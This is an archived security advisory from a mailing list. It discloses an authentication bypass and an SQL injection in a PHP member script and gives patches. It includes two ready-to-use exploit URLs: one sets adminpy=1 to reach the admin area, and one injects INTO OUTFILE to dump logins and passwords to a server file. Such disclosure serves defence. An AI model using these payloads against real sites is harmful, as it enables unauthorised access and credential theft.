Informations : °°°°°°°°°°°°° Language : PHP Version : 4.0, 4.1, 4.2 (and less ?) Website : http://www.scripts-php.com Problems : - Admin Access - SQL Injection PHP Code/Location : °°°°°°°°°°°°°°°°°°° admin/secure.php : ---------------------------------------------- <? if (!isset($adminpy) && $adminpy !== "$admin") { Header("Location: index.php"); exit; } ?> ---------------------------------------------- pass_done.php : ----------------------------------------------------------------------------------------------------------------------------- [...] if($Submit) { connexiondb(); $query = mysql_query("SELECT login, passwd FROM $db_table WHERE email='$email'"); list($login, $passwd) = mysql_fetch_row($query); $nb=mysql_num_rows($query); if($nb<1) { echo"<script language=\"Javascript\">alert('Aucun membre ne correspond à votre e-mail !');window.location='pass_done.php';</script>"; exit;} [...] ----------------------------------------------------------------------------------------------------------------------------- Exploits : °°°°°°°° http://[target]/admin/admin.php?adminpy=1 http://[target]/pass_done.php?Submit=1&email='%20OR%203%20IN%20(1,2,3)%20INTO%20OUTFILE%20'/complete/path/file.txt Patch : °°°°°°° A patch and more details can be found on http://www.phpsecure.info. In admin/secure.php, just replace the line : ---------------------------------------------- if (!isset($adminpy) && $adminpy !== "$admin") ---------------------------------------------- by : ---------------------------------------------- if (!isset($adminpy) || $adminpy !== "$admin") ---------------------------------------------- And in pass_done.php, add the line : ---------------------------- $email = addslashes($email); ---------------------------- just before : --------------------------------------------------------------------------------- $query = mysql_query("SELECT login, passwd FROM $db_table WHERE email='$email'"); --------------------------------------------------------------------------------- frog-m@n _________________________________________________________________ Recevez vos e-mails MSN Hotmail par SMS sur votre GSM ! http://www.fr.msn.be/gsm/servicesms/hotmailparsms
This archive was generated by hypermail 2b30 : Tue Aug 26 2003 - 12:58:48 PDT